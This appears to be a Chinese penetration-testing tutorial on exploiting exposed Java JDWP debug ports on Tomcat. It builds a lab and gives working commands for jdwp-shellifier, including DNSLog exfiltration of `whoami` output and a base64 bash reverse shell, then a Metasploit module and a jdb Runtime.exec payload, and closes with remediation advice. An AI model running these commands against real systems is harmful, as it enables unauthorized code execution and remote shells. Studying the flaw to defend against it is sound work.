点击蓝字,关注我们···
日期:2023-05-29 作者:hdsec 介绍:本文简单介绍一下JDWP协议,以及该协议存在的RCE漏洞。
0x00 前言
JDWP
(Java Debug Wire Protocol)是一种用于调试Java
应用程序的协议。它定义了一组用于在Java
虚拟机(JVM)和调试器之间传输数据的消息和命令。使用JDWP
调试器可以连接到正在运行的Java
应用程序,跟踪代码的执行,并检查变量和对象的状态。
JDWP
提供了许多调试功能,例如设置断点,单步执行代码,检查线程状态和跟踪异常。通过使用JDWP
,开发人员可以更快地调试Java
应用程序,找到并修复问题。
JDWP
通常与Java
平台调试体系结构(JPDA)一起使用,JPDA
是一组用于在Java
平台上调试应用程序的API
和工具。JPDA
中的调试器使用JDWP
协议与正在运行的Java
应用程序通信。
在渗透测试的过程中,如果发现目标开启了JDWP
服务,就可以利用JDWP
服务实现远程代码执行。
0x01 漏洞环境搭建
1.1 Linux 上环境搭建
注意:Tomcat
有一键安装版和解压版,要搭建jdwp
环境只能使用解压版:
下载Tomcat安装包
https
:
//tomcat.apache.org/download-80.cgi#8.5.87
解压安装
tar
-zxvf apache-tomcat-8.5.87.tar.gz
mkdir
/opt/tomcat
mv
apache-tomcat-8.5.87 /opt/tomcat/
修改配置文件catalina.sh
,并在文件开头部分添加如下一行:
cd /opt/tomcat/apache-tomcat-8.5.87/bin
vim catalina.sh
CATALINA_OPTS=
"-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000"
修改完成后,执行脚本./startup.sh
就会以debug
模式启动Tomcat
。
运行命令nmap -sV -sT x.x.x.x -p 8000
查看服务是否开启。
或者运行命令telnet x.x.x.x 8000
,接着输入JDWP-Handshake
并按下回车,如果服务端返回一样的内容,证明是JDWP
服务。JDWP
通信握手过程就会发送JDWP-Handshake
字符串。
1.2 Windows 上环境搭建
同样需要下载Tomcat
,在binstartup.bat
文件中添加如下代码开启debug
模式:
SET
CATALINA_OPTS=-
server
-Xdebug -Xnoagent -Djava.compiler=
NONE
-Xrunjdwp:transport=dt_socket,
server
=y,
suspend
=n,address=
8000
在输出信息中可以看到Listening for transport dt_socket at address: 8000
,表示JDWP
服务已经监听在8000
端口,等待调试器连接。
运行命令nmap -sV -sT 10.211.55.22 -p 8000
查看服务是否开启。
0x02 漏洞利用
2.1 脚本攻击
利用jdwp-shellifier
脚本,github
地址:
https:
//github.com/IOActive/jdwp-shellifier
设置断点函数为java.lang.String.indexOf
,并执行命令,由于是无回显,此处可以利用DNSLog
外带回显。
python
jdwp-shellifier
.py
-t
x
.x
.x
.x
-p
8000
--break-on
"
java
.lang
.String
.indexof
"
--cmd
"
ping
-nc
1 `
whoami
`
.4jiha6
.dnslog
.cn
"
反弹shell
:
python
jdwp-shellifier.py -t x.x.x.x -p
8000
--
break
-
on
"java.lang.String.indexof"
--cmd
"bash -c {echo,反弹shell语句}|{base64,-d}|{bash,-i}"
在另一台机器上运行命令nc -lvp 5566
设置监听。
由于上面的jdwp-shellifier
脚本执行命令默认是没有回显的,互联网大佬改造后的脚本能正常回显命令执行的结果。脚本地址:
https:
//github.com/r3change/jdwp-shellifier
python jdwp-shellifier.py -t x.x.x.x -p
8000
--
break
-
on
"java.lang.String.indexOf"
--cmd
"id"
2.2 MSF 框架
利用msf
也可以进行漏洞攻击,这里由于环境搭建的原因,不进行漏洞演示。
use
exploit/multi/misc/java_jdwp_debugger
set
rhosts x.x.x.x
set
payload linux/x64/shell/bind_tcp
run
2.3 JDB
jdb
是JDK
中自带的命令行调试工具,执行如下命令连接远程JDWP
服务:
jdb
-connect com.sun.jdi.SocketAttach:hostname=x.x.x.x,port=
8000
运行threads
命令查看运行的线程,选择一个正在休眠状态的线程并进入该线程thread id
-->stepi
。
由于java.lang.Runtime.getRuntime()
执行的命令不能带特殊符号,所以对执行的命令需要进行base64
编码,运行命令后成功反弹shell
。
eval
java.lang.Runtime.getRuntime().
exec
(
"bash -c {echo,反弹shell语句}|{base64,-d}|{bash,-i}"
)
0x03 修复建议
为了防止JDWP
远程代码执行漏洞的攻击,建议采取以下措施:
禁用JDWP
协议:建议在生产环境中禁用JDWP
协议,以避免攻击者利用此协议进行攻击。
限制JDWP
协议的访问:如果必须使用JDWP
协议,建议在防火墙上限制其访问,并只允许受信任的主机连接。
更新Java
虚拟机:及时更新Java
虚拟机,以修补已知的JDWP
漏洞。
启用安全机制:建议启用Java
虚拟机中的安全机制,如访问控制和安全策略,以限制未经授权的访问。
最小化系统攻击面:采取最小化系统攻击面的措施,如禁用不必要的服务和组件,以减少系统的漏洞风险。
总之,采取这些措施可以有效地减少JDWP
远程代码执行漏洞的攻击风险,保护系统的安全性。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『渗透测试』关于 JDWP 的那些事儿
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论